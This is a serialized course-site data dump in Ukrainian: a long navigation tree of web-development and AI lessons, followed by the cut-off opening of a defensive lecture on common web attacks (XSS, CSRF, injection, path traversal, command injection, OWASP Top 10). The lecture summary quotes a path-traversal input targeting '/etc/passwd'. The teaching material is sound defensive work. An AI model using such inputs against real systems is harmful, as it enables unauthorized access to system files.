автентифікації","\u002Fweb-development\u002Fauthentication\u002F02-authentication-strategies","18.web-development\u002F12.authentication\u002F02-authentication-strategies",{"title":4587,"path":4588,"stem":4589},"Автентифікація на основі сесій","\u002Fweb-development\u002Fauthentication\u002F03-session-based-authentication","18.web-development\u002F12.authentication\u002F03-session-based-authentication",{"title":4591,"path":4592,"stem":4593},"Структура JSON Web Token (JWT)","\u002Fweb-development\u002Fauthentication\u002F04-jwt-structure","18.web-development\u002F12.authentication\u002F04-jwt-structure",{"title":4595,"path":4596,"stem":4597},"Інтеграція JWT у NestJS","\u002Fweb-development\u002Fauthentication\u002F05-nestjs-jwt-integration","18.web-development\u002F12.authentication\u002F05-nestjs-jwt-integration",{"title":4599,"path":4600,"stem":4601},"Passport.js стратегії у NestJS","\u002Fweb-development\u002Fauthentication\u002F06-passport-strategies","18.web-development\u002F12.authentication\u002F06-passport-strategies",{"title":4603,"path":4604,"stem":4605},"Безпечне зберігання паролів: хешування та криптографічний захист","\u002Fweb-development\u002Fauthentication\u002F07-password-hashing","18.web-development\u002F12.authentication\u002F07-password-hashing",{"title":4607,"path":4608,"stem":4609},"Refresh Token та безпечне оновлення доступу","\u002Fweb-development\u002Fauthentication\u002F08-refresh-tokens","18.web-development\u002F12.authentication\u002F08-refresh-tokens",{"title":4611,"path":4612,"stem":4613},"OAuth 2.0 та OpenID Connect: делегована автентифікація","\u002Fweb-development\u002Fauthentication\u002F09-oauth2-openid","18.web-development\u002F12.authentication\u002F09-oauth2-openid",{"title":4615,"icon":4616,"path":4617,"stem":4618,"children":4619,"page":59},"Авторизація та безпека серверних застосунків","i-lucide-shield","\u002Fweb-development\u002Fauthorization-security","18.web-development\u002F13.authorization-security",[4620,4624,4628,4632,4636,4640,4644,4648,4652,4656],{"title":4621,"path":4622,"stem":4623},"Моделі авторизації","\u002Fweb-development\u002Fauthorization-security\u002F01-authorization-models","18.web-development\u002F13.authorization-security\u002F01-authorization-models",{"title":4625,"path":4626,"stem":4627},"Реалізація RBAC у NestJS","\u002Fweb-development\u002Fauthorization-security\u002F02-rbac-implementation","18.web-development\u002F13.authorization-security\u002F02-rbac-implementation",{"title":4629,"path":4630,"stem":4631},"Permission-Based Access Control","\u002Fweb-development\u002Fauthorization-security\u002F03-permission-based-access","18.web-development\u002F13.authorization-security\u002F03-permission-based-access",{"title":4633,"path":4634,"stem":4635},"ABAC та бібліотека CASL","\u002Fweb-development\u002Fauthorization-security\u002F04-abac-casl","18.web-development\u002F13.authorization-security\u002F04-abac-casl",{"title":4637,"path":4638,"stem":4639},"Кастомні декоратори та метадані","\u002Fweb-development\u002Fauthorization-security\u002F05-custom-decorators-metadata","18.web-development\u002F13.authorization-security\u002F05-custom-decorators-metadata",{"title":4641,"path":4642,"stem":4643},"Конфігурація CORS","\u002Fweb-development\u002Fauthorization-security\u002F06-cors-configuration","18.web-development\u002F13.authorization-security\u002F06-cors-configuration",{"title":4645,"path":4646,"stem":4647},"Захист через HTTP Security Headers (Helmet)","\u002Fweb-development\u002Fauthorization-security\u002F07-helmet-security-headers","18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers",{"title":4649,"path":4650,"stem":4651},"Rate Limiting та Throttling","\u002Fweb-development\u002Fauthorization-security\u002F08-rate-limiting-throttling","18.web-development\u002F13.authorization-security\u002F08-rate-limiting-throttling",{"title":4653,"path":4654,"stem":4655},"Захист від поширених атак","\u002Fweb-development\u002Fauthorization-security\u002F09-common-attacks-protection","18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection",{"title":4657,"path":4658,"stem":4659},"HTTPS у продакшені","\u002Fweb-development\u002Fauthorization-security\u002F10-https-production","18.web-development\u002F13.authorization-security\u002F10-https-production",{"title":4661,"icon":871,"path":4662,"stem":4663,"children":4664,"page":59},"Комунікація у реальному часі, нотифікації та фонові задачі","\u002Fweb-development\u002Frealtime-notifications-jobs","18.web-development\u002F14.realtime-notifications-jobs",[4665,4669,4673,4677,4681,4685,4688,4691,4695,4699],{"title":4666,"path":4667,"stem":4668},"Методи комунікації у реальному часі","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F01-realtime-communication-methods","18.web-development\u002F14.realtime-notifications-jobs\u002F01-realtime-communication-methods",{"title":4670,"path":4671,"stem":4672},"WebSocket Gateway у NestJS","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F02-websocket-gateway","18.web-development\u002F14.realtime-notifications-jobs\u002F02-websocket-gateway",{"title":4674,"path":4675,"stem":4676},"Lifecycle та Rooms у WebSocket","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F03-websocket-lifecycle-rooms","18.web-development\u002F14.realtime-notifications-jobs\u002F03-websocket-lifecycle-rooms",{"title":4678,"path":4679,"stem":4680},"Server-Sent Events (SSE)","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F04-server-sent-events","18.web-development\u002F14.realtime-notifications-jobs\u002F04-server-sent-events",{"title":4682,"path":4683,"stem":4684},"Архітектура системи нотифікацій","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F05-notification-system","18.web-development\u002F14.realtime-notifications-jobs\u002F05-notification-system",{"title":904,"path":4686,"stem":4687},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F06-email-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F06-email-notifications",{"title":900,"path":4689,"stem":4690},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F07-web-push-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F07-web-push-notifications",{"title":4692,"path":4693,"stem":4694},"Фонові задачі та черги","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F08-background-jobs-queues","18.web-development\u002F14.realtime-notifications-jobs\u002F08-background-jobs-queues",{"title":4696,"path":4697,"stem":4698},"Планувальники та Cron jobs","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F09-schedulers-cron","18.web-development\u002F14.realtime-notifications-jobs\u002F09-schedulers-cron",{"title":4700,"path":4701,"stem":4702},"Практичні сценарії застосування","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F10-practical-scenarios","18.web-development\u002F14.realtime-notifications-jobs\u002F10-practical-scenarios",{"title":4704,"icon":4705,"path":4706,"stem":4707,"children":4708,"page":59},"Тестування, документування та розгортання застосунків","i-lucide-rocket","\u002Fweb-development\u002Ftesting-documentation-deployment","18.web-development\u002F15.testing-documentation-deployment",[4709,4713,4717,4721,4725,4729,4733,4737,4741,4745],{"title":4710,"path":4711,"stem":4712},"Піраміда тестування та стратегія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F01-testing-pyramid-strategy","18.web-development\u002F15.testing-documentation-deployment\u002F01-testing-pyramid-strategy",{"title":4714,"path":4715,"stem":4716},"Основи Jest у NestJS","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F02-jest-nestjs-basics","18.web-development\u002F15.testing-documentation-deployment\u002F02-jest-nestjs-basics",{"title":4718,"path":4719,"stem":4720},"Unit-тестування сервісів","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F03-unit-testing-services","18.web-development\u002F15.testing-documentation-deployment\u002F03-unit-testing-services",{"title":4722,"path":4723,"stem":4724},"E2E тестування та покриття коду","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F04-e2e-testing-coverage","18.web-development\u002F15.testing-documentation-deployment\u002F04-e2e-testing-coverage",{"title":4726,"path":4727,"stem":4728},"Swagger, OpenAPI, Scalar та Arazzo","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F05-swagger-openapi","18.web-development\u002F15.testing-documentation-deployment\u002F05-swagger-openapi",{"title":4730,"path":4731,"stem":4732},"Керування конфігурацією","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F06-configuration-management","18.web-development\u002F15.testing-documentation-deployment\u002F06-configuration-management",{"title":4734,"path":4735,"stem":4736},"Docker та контейнеризація","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F07-docker-containerization","18.web-development\u002F15.testing-documentation-deployment\u002F07-docker-containerization",{"title":4738,"path":4739,"stem":4740},"CI\u002FCD Pipelines","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F08-cicd-pipelines","18.web-development\u002F15.testing-documentation-deployment\u002F08-cicd-pipelines",{"title":4742,"path":4743,"stem":4744},"Логування та моніторинг","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F09-logging-monitoring","18.web-development\u002F15.testing-documentation-deployment\u002F09-logging-monitoring",{"title":4746,"path":4747,"stem":4748},"Серіалізація та компресія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F10-serialization-compression","18.web-development\u002F15.testing-documentation-deployment\u002F10-serialization-compression",{"title":4750,"icon":4751,"path":4752,"stem":4753,"children":4754,"page":59},"AI Core: мислення AI","i-lucide-brain","\u002Fai-core","19.ai-core",[4755,4796,4845,4883],{"title":4756,"icon":4705,"path":4757,"stem":4758,"children":4759,"page":59},"Вхід у професію AI Native Developer","\u002Fai-core\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer",[4760,4764,4768,4772,4776,4780,4784,4788,4792],{"title":4761,"path":4762,"stem":4763},"Вступ до професії розробника цифрових продуктів","\u002Fai-core\u002Fai-native-developer\u002Fdigital-products","19.ai-core\u002F01.ai-native-developer\u002F01.digital-products",{"title":4765,"path":4766,"stem":4767},"Професія розробника програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fsoftware-developer","19.ai-core\u002F01.ai-native-developer\u002F02.software-developer",{"title":4769,"path":4770,"stem":4771},"Професія AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer\u002F03.ai-native-developer",{"title":4773,"path":4774,"stem":4775},"Вплив AI на розробку програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fai-impact-on-development","19.ai-core\u002F01.ai-native-developer\u002F04.ai-impact-on-development",{"title":4777,"path":4778,"stem":4779},"Життєвий цикл цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fproduct-lifecycle","19.ai-core\u002F01.ai-native-developer\u002F05.product-lifecycle",{"title":4781,"path":4782,"stem":4783},"Застосування AI на етапах створення цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fai-in-product-creation","19.ai-core\u002F01.ai-native-developer\u002F06.ai-in-product-creation",{"title":4785,"path":4786,"stem":4787},"Розподіл завдань між людиною та AI","\u002Fai-core\u002Fai-native-developer\u002Fhuman-vs-ai-tasks","19.ai-core\u002F01.ai-native-developer\u002F07.human-vs-ai-tasks",{"title":4789,"path":4790,"stem":4791},"Компетенції AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcompetencies","19.ai-core\u002F01.ai-native-developer\u002F08.competencies",{"title":4793,"path":4794,"stem":4795},"Карта професійного розвитку AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcareer-roadmap","19.ai-core\u002F01.ai-native-developer\u002F09.career-roadmap",{"title":4797,"icon":255,"path":4798,"stem":4799,"children":4800,"page":59},"Штучний інтелект і машинне навчання","\u002Fai-core\u002Fai-and-machine-learning","19.ai-core\u002F02.ai-and-machine-learning",[4801,4805,4809,4813,4817,4821,4825,4829,4833,4837,4841],{"title":4802,"path":4803,"stem":4804},"Штучний інтелект","\u002Fai-core\u002Fai-and-machine-learning\u002Fwhat-is-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F01.what-is-ai",{"title":4806,"path":4807,"stem":4808},"Відмінність AI від інших програмних систем","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-vs-automation","19.ai-core\u002F02.ai-and-machine-learning\u002F02.ai-vs-automation",{"title":4810,"path":4811,"stem":4812},"Завдання штучного інтелекту","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-tasks","19.ai-core\u002F02.ai-and-machine-learning\u002F03.ai-tasks",{"title":4814,"path":4815,"stem":4816},"Machine Learning","\u002Fai-core\u002Fai-and-machine-learning\u002Fmachine-learning","19.ai-core\u002F02.ai-and-machine-learning\u002F04.machine-learning",{"title":4818,"path":4819,"stem":4820},"Machine Learning Workflow","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-workflow","19.ai-core\u002F02.ai-and-machine-learning\u002F05.ml-workflow",{"title":4822,"path":4823,"stem":4824},"Типи машинного навчання","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-types","19.ai-core\u002F02.ai-and-machine-learning\u002F06.ml-types",{"title":4826,"path":4827,"stem":4828},"Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fgenerative-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F07.generative-ai",{"title":4830,"path":4831,"stem":4832},"Типи контенту, створюваного AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-content-types","19.ai-core\u002F02.ai-and-machine-learning\u002F08.ai-content-types",{"title":4834,"path":4835,"stem":4836},"Великі мовні моделі","\u002Fai-core\u002Fai-and-machine-learning\u002Flarge-language-models","19.ai-core\u002F02.ai-and-machine-learning\u002F09.large-language-models",{"title":4838,"path":4839,"stem":4840},"Можливості та обмеження Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fcapabilities-and-limitations","19.ai-core\u002F02.ai-and-machine-learning\u002F10.capabilities-and-limitations",{"title":4842,"path":4843,"stem":4844},"Сучасні AI-асистенти","\u002Fai-core\u002Fai-and-machine-learning\u002Fmodern-ai-assistants","19.ai-core\u002F02.ai-and-machine-learning\u002F11.modern-ai-assistants",{"title":4846,"icon":4847,"path":4848,"stem":4849,"children":4850,"page":59},"Постановка завдань для AI: принципи створення промптів","i-lucide-message-square-text","\u002Fai-core\u002Fprompt-engineering","19.ai-core\u002F03.prompt-engineering",[4851,4855,4859,4863,4867,4871,4875,4879],{"title":4852,"path":4853,"stem":4854},"Промпт як інструмент","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-as-tool","19.ai-core\u002F03.prompt-engineering\u002F01.prompt-as-tool",{"title":4856,"path":4857,"stem":4858},"Принципи створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-principles","19.ai-core\u002F03.prompt-engineering\u002F02.prompt-principles",{"title":4860,"path":4861,"stem":4862},"Структура промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-structure","19.ai-core\u002F03.prompt-engineering\u002F03.prompt-structure",{"title":4864,"path":4865,"stem":4866},"Види промптів за типом задачі","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-types","19.ai-core\u002F03.prompt-engineering\u002F04.prompt-types",{"title":4868,"path":4869,"stem":4870},"Прийоми посилення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-enhancement","19.ai-core\u002F03.prompt-engineering\u002F05.prompt-enhancement",{"title":4872,"path":4873,"stem":4874},"Розбір і покращення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-analysis","19.ai-core\u002F03.prompt-engineering\u002F06.prompt-analysis",{"title":4876,"path":4877,"stem":4878},"Типові помилки під час створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fcommon-mistakes","19.ai-core\u002F03.prompt-engineering\u002F07.common-mistakes",{"title":4880,"path":4881,"stem":4882},"Практикум: особиста бібліотека промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-library","19.ai-core\u002F03.prompt-engineering\u002F08.prompt-library",{"title":4884,"icon":793,"path":4885,"stem":4886,"children":4887,"page":59},"Перевірка результатів, безпека та AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow","19.ai-core\u002F04.verification-security-workflow",[4888,4892,4896,4900,4904,4908,4912,4916,4920],{"title":4889,"path":4890,"stem":4891},"Межі можливостей AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-limitations","19.ai-core\u002F04.verification-security-workflow\u002F01.ai-limitations",{"title":4893,"path":4894,"stem":4895},"Галюцинації AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-hallucinations","19.ai-core\u002F04.verification-security-workflow\u002F02.ai-hallucinations",{"title":4897,"path":4898,"stem":4899},"Критичне мислення під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fcritical-thinking","19.ai-core\u002F04.verification-security-workflow\u002F03.critical-thinking",{"title":4901,"path":4902,"stem":4903},"Перевірка результатів роботи AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresult-verification","19.ai-core\u002F04.verification-security-workflow\u002F04.result-verification",{"title":4905,"path":4906,"stem":4907},"Захист даних під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fdata-protection","19.ai-core\u002F04.verification-security-workflow\u002F05.data-protection",{"title":4909,"path":4910,"stem":4911},"Авторське право та навчальна доброчесність","\u002Fai-core\u002Fverification-security-workflow\u002Fcopyright-integrity","19.ai-core\u002F04.verification-security-workflow\u002F06.copyright-integrity",{"title":4913,"path":4914,"stem":4915},"Відповідальне використання AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresponsible-use","19.ai-core\u002F04.verification-security-workflow\u002F07.responsible-use",{"title":4917,"path":4918,"stem":4919},"AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow\u002Fai-native-workflow","19.ai-core\u002F04.verification-security-workflow\u002F08.ai-native-workflow",{"title":4921,"path":4922,"stem":4923},"Застосування AI Native Workflow під час створення цифрового продукту","\u002Fai-core\u002Fverification-security-workflow\u002Fworkflow-in-practice","19.ai-core\u002F04.verification-security-workflow\u002F09.workflow-in-practice",{"title":4925,"icon":4926,"path":4927,"stem":4928,"children":4929,"page":59},"AI Developer: Vibe Coding Sprint","i-lucide-code-xml","\u002Fai-developer","20.ai-developer",[4930,4956,4978,4999],{"title":4931,"icon":4932,"path":4933,"stem":4934,"children":4935,"page":59},"Проєктування і чорнова версія","i-lucide-pencil-ruler","\u002Fai-developer\u002Fdraft-creation","20.ai-developer\u002F01.draft-creation",[4936,4940,4944,4948,4952],{"title":4937,"path":4938,"stem":4939},"Парадигма Vibe Coding Workflow","\u002Fai-developer\u002Fdraft-creation\u002Fvibe-coding-workflow","20.ai-developer\u002F01.draft-creation\u002F01.vibe-coding-workflow",{"title":4941,"path":4942,"stem":4943},"AI-середовище швидкої розробки","\u002Fai-developer\u002Fdraft-creation\u002Fai-ide-environment","20.ai-developer\u002F01.draft-creation\u002F02.ai-ide-environment",{"title":4945,"path":4946,"stem":4947},"Користувацьке завдання та межі першої версії","\u002Fai-developer\u002Fdraft-creation\u002Fproduct-scope-and-mvp","20.ai-developer\u002F01.draft-creation\u002F03.product-scope-and-mvp",{"title":4949,"path":4950,"stem":4951},"Архітектура інтерфейсу та стани застосунку","\u002Fai-developer\u002Fdraft-creation\u002Fapplication-architecture-and-states","20.ai-developer\u002F01.draft-creation\u002F04.application-architecture-and-states",{"title":4953,"path":4954,"stem":4955},"Генерація та фіксація чорнової версії","\u002Fai-developer\u002Fdraft-creation\u002Fgenerating-draft-version","20.ai-developer\u002F01.draft-creation\u002F05.generating-draft-version",{"title":4957,"icon":4958,"path":4959,"stem":4960,"children":4961,"page":59},"Перша робоча версія","i-lucide-play-circle","\u002Fai-developer\u002Ffirst-working-version","20.ai-developer\u002F02.first-working-version",[4962,4966,4970,4974],{"title":4963,"path":4964,"stem":4965},"Уточнення контексту проєкту для AI","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-project-context","20.ai-developer\u002F02.first-working-version\u002F01.refining-project-context",{"title":4967,"path":4968,"stem":4969},"Стратегія завдань для AI-розробки","\u002Fai-developer\u002Ffirst-working-version\u002Fai-prompting-strategy","20.ai-developer\u002F02.first-working-version\u002F02.ai-prompting-strategy",{"title":4971,"path":4972,"stem":4973},"Доопрацювання до першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-to-working-version","20.ai-developer\u002F02.first-working-version\u002F03.refining-to-working-version",{"title":4975,"path":4976,"stem":4977},"Перевірка першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Ftesting-first-working-version","20.ai-developer\u002F02.first-working-version\u002F04.testing-first-working-version",{"title":4979,"icon":3028,"path":4980,"stem":4981,"children":4982,"page":59},"Ітерації, дебагінг та відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery","20.ai-developer\u002F03.iteration-debugging-recovery",[4983,4987,4991,4995],{"title":4984,"path":4985,"stem":4986},"Управління точковими змінами продукту","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fchange-management","20.ai-developer\u002F03.iteration-debugging-recovery\u002F01.change-management",{"title":4988,"path":4989,"stem":4990},"Надійність інтерфейсу та обробка помилок","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fscenario-reliability-and-errors","20.ai-developer\u002F03.iteration-debugging-recovery\u002F02.scenario-reliability-and-errors",{"title":4992,"path":4993,"stem":4994},"Керування контекстом і збереження версій","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fproject-context-and-versions","20.ai-developer\u002F03.iteration-debugging-recovery\u002F03.project-context-and-versions",{"title":4996,"path":4997,"stem":4998},"Збої AI-розробки, ліміти та аварійне відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fai-breakdowns-and-recovery","20.ai-developer\u002F03.iteration-debugging-recovery\u002F04.ai-breakdowns-and-recovery",{"title":5000,"icon":5001,"path":5002,"stem":5003,"children":5004,"page":59},"Перевірка та завершення продукту","i-lucide-check-check","\u002Fai-developer\u002Fverification-and-completion","20.ai-developer\u002F04.verification-and-completion",[5005,5009,5013],{"title":5006,"path":5007,"stem":5008},"Комплексний аудит та підсумкове тестування","\u002Fai-developer\u002Fverification-and-completion\u002Ffinal-product-testing","20.ai-developer\u002F04.verification-and-completion\u002F01.final-product-testing",{"title":5010,"path":5011,"stem":5012},"Підготовка підсумкової версії коду","\u002Fai-developer\u002Fverification-and-completion\u002Fpreparing-release-version","20.ai-developer\u002F04.verification-and-completion\u002F02.preparing-release-version",{"title":5014,"path":5015,"stem":5016},"Демонстрація, публікація та критерії оцінювання","\u002Fai-developer\u002Fverification-and-completion\u002Fproduct-showcase-and-publishing","20.ai-developer\u002F04.verification-and-completion\u002F03.product-showcase-and-publishing",{"title":5018,"path":5019,"stem":5020,"children":5021,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[5022,5026,5030,5034,5038,5042,5046,5050,5054,5058,5062,5066],{"title":5023,"path":5024,"stem":5025},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":5027,"path":5028,"stem":5029},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":5031,"path":5032,"stem":5033},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":5035,"path":5036,"stem":5037},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":5039,"path":5040,"stem":5041},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":5043,"path":5044,"stem":5045},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":5047,"path":5048,"stem":5049},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":5051,"path":5052,"stem":5053},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":5055,"path":5056,"stem":5057},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":5059,"path":5060,"stem":5061},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":5063,"path":5064,"stem":5065},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":5067,"path":5068,"stem":5069},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":5071,"path":5072,"stem":5073},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":5075,"title":4653,"body":5076,"description":5256,"extension":19460,"links":19461,"meta":19462,"navigation":5576,"path":4654,"seo":19463,"stem":4655,"__hash__":19464},"docs\u002F18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection.md",{"type":5077,"value":5078,"toc":19415},"minimark",[5079,5083,5088,5092,5139,5142,5145,5220,5222,5226,5232,5237,5242,5245,5250,5424,5429,5437,5440,5444,5447,5451,5742,5746,5749,5755,5762,5766,5769,5774,5909,5913,5917,5924,6064,6078,6082,6085,6285,6290,6393,6397,6403,6407,6414,6444,6651,6655,6748,6752,6758,6762,6811,6815,6950,6961,6963,6967,6973,6977,6982,7001,7165,7179,7184,7188,7192,7198,7207,7232,7237,7399,7404,7560,7565,7646,7662,7666,7672,7858,7863,7932,7942,7952,7956,8265,8270,8373,8377,8380,8497,8502,8651,8660,8662,8666,8671,8675,8680,8794,8799,8805,8809,8815,8820,8826,8831,8837,8841,8845,8850,8987,8992,8999,9045,9052,9057,9063,9067,9300,9304,9431,9435,9541,9545,9554,9559,9680,9688,9692,10109,10111,10115,10118,10122,10126,10293,10297,10350,10355,10426,10429,10433,10437,10548,10552,10709,10713,10928,10932,11011,11015,11094,11098,11330,11333,11335,11339,11344,11348,11352,11465,11469,11475,11479,11485,11490,11496,11500,11504,11690,11694,11816,11820,11826,11830,12078,12082,12201,12205,12544,12550,12552,12556,12561,12565,12569,12757,12761,12767,12771,12777,12782,12788,12792,12796,13199,13216,13220,13506,13510,13621,13626,13637,13639,13643,13652,13656,13660,13666,13671,13689,13694,13854,13858,13863,13867,13878,13882,14078,14083,14627,14631,14636,14641,14645,14650,14654,14665,14669,14689,14693,14698,14702,14719,14723,14899,14904,15144,15148,15153,15157,15245,15251,15256,15303,15307,15312,15316,15334,15338,15837,15841,15846,15850,15861,15865,15910,15915,16175,16179,16184,16188,16199,16203,16772,16777,17162,17166,17171,17175,17258,17262,17268,17272,17724,17726,17730,17734,17739,17744,17795,17800,17980,17984,17989,18066,18070,18075,18194,18198,18203,18275,18277,18281,18285,18288,18455,18459,18462,18468,18472,18501,18505,18528,18532,18588,18590,18594,19277,19279,19283,19404,19411],[5080,5081,4653],"h1",{"id":5082},"захист-від-поширених-атак",[5084,5085,5087],"h2",{"id":5086},"короткий-зміст","Короткий зміст",[5089,5090,5091],"p",{},"У цій лекції детально вивчаються найпоширеніші типи атак на веб-застосунки та методи захисту:",[5093,5094,5095,5103,5109,5115,5121,5127,5133],"ul",{},[5096,5097,5098,5102],"li",{},[5099,5100,5101],"strong",{},"XSS (Cross-Site Scripting)"," — ін'єкція JavaScript коду через користувацький ввід, типи: Reflected XSS, Stored XSS, DOM-based XSS; захист через Content Security Policy, санітизацію HTML, escape спецсимволів, використання textContent замість innerHTML",[5096,5104,5105,5108],{},[5099,5106,5107],{},"CSRF (Cross-Site Request Forgery)"," — виконання небажаних дій від імені автентифікованого користувача, захист через CSRF tokens (synchronizer token pattern), SameSite cookies (Strict\u002FLax), перевірка Origin\u002FReferer заголовків",[5096,5110,5111,5114],{},[5099,5112,5113],{},"SQL Injection"," — ін'єкція SQL команд через користувацький ввід, приклади атак через WHERE умови, захист через параметризовані запити (prepared statements), ORM best practices (TypeORM автоматично екранує параметри), валідація та санітизація вводу",[5096,5116,5117,5120],{},[5099,5118,5119],{},"NoSQL Injection"," — аналогічні атаки для NoSQL баз (MongoDB), ін'єкція через query operators ($where, $regex), захист через валідацію типів, використання схем валідації, заборона прямого прокидання user input у queries",[5096,5122,5123,5126],{},[5099,5124,5125],{},"Path Traversal"," — несанкціонований доступ до файлів через маніпуляцію шляхами (..\u002F..\u002Fetc\u002Fpasswd), захист через whitelist дозволених шляхів, валідацію імен файлів, використання path.resolve() та перевірку результату",[5096,5128,5129,5132],{},[5099,5130,5131],{},"Command Injection"," — виконання системних команд через user input, уникнення child_process.exec() з user input, використання spawn() з масивом аргументів, валідація команд через whitelist",[5096,5134,5135,5138],{},[5099,5136,5137],{},"OWASP Top 10"," — огляд найкритичніших вразливостей для backend: Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration",[5089,5140,5141],{},"Розглядаються практичні приклади атак, демонстрація вразливого та захищеного коду, інструменти для тестування безпеки (OWASP ZAP, Burp Suite), регулярні security audits.",[5143,5144],"hr",{},[5146,5147,5148,5170],"card-group",{},[5149,5150,5153],"card",{"icon":5151,"title":5152},"i-lucide-target","🎯 Мета лекції",[5093,5154,5155,5158,5161,5164,5167],{},[5096,5156,5157],{},"Опанувати розуміння механізмів найпоширеніших атак на веб-застосунки: XSS, CSRF, SQL Injection, Path Traversal.",[5096,5159,5160],{},"Навчитися розпізнавати вразливий код та застосовувати відповідні патерни захисту.",[5096,5162,5163],{},"Впровадити валідацію та санітизацію користувацького вводу на всіх рівнях застосунку.",[5096,5165,5166],{},"Ознайомитися з OWASP Top 10 як стандартом оцінки безпеки веб-додатків.",[5096,5168,5169],{},"Налаштувати інструменти автоматичного сканування вразливостей у CI\u002FCD pipeline.",[5149,5171,5173],{"icon":4574,"title":5172},"🔑 Ключові терміни",[5093,5174,5175,5181,5187,5193,5208,5214],{},[5096,5176,5177,5180],{},[5099,5178,5179],{},"Injection Attack:"," впровадження зловмисного коду через некоректно оброблений користувацький ввід.",[5096,5182,5183,5186],{},[5099,5184,5185],{},"XSS (Cross-Site Scripting):"," виконання JavaScript коду у контексті 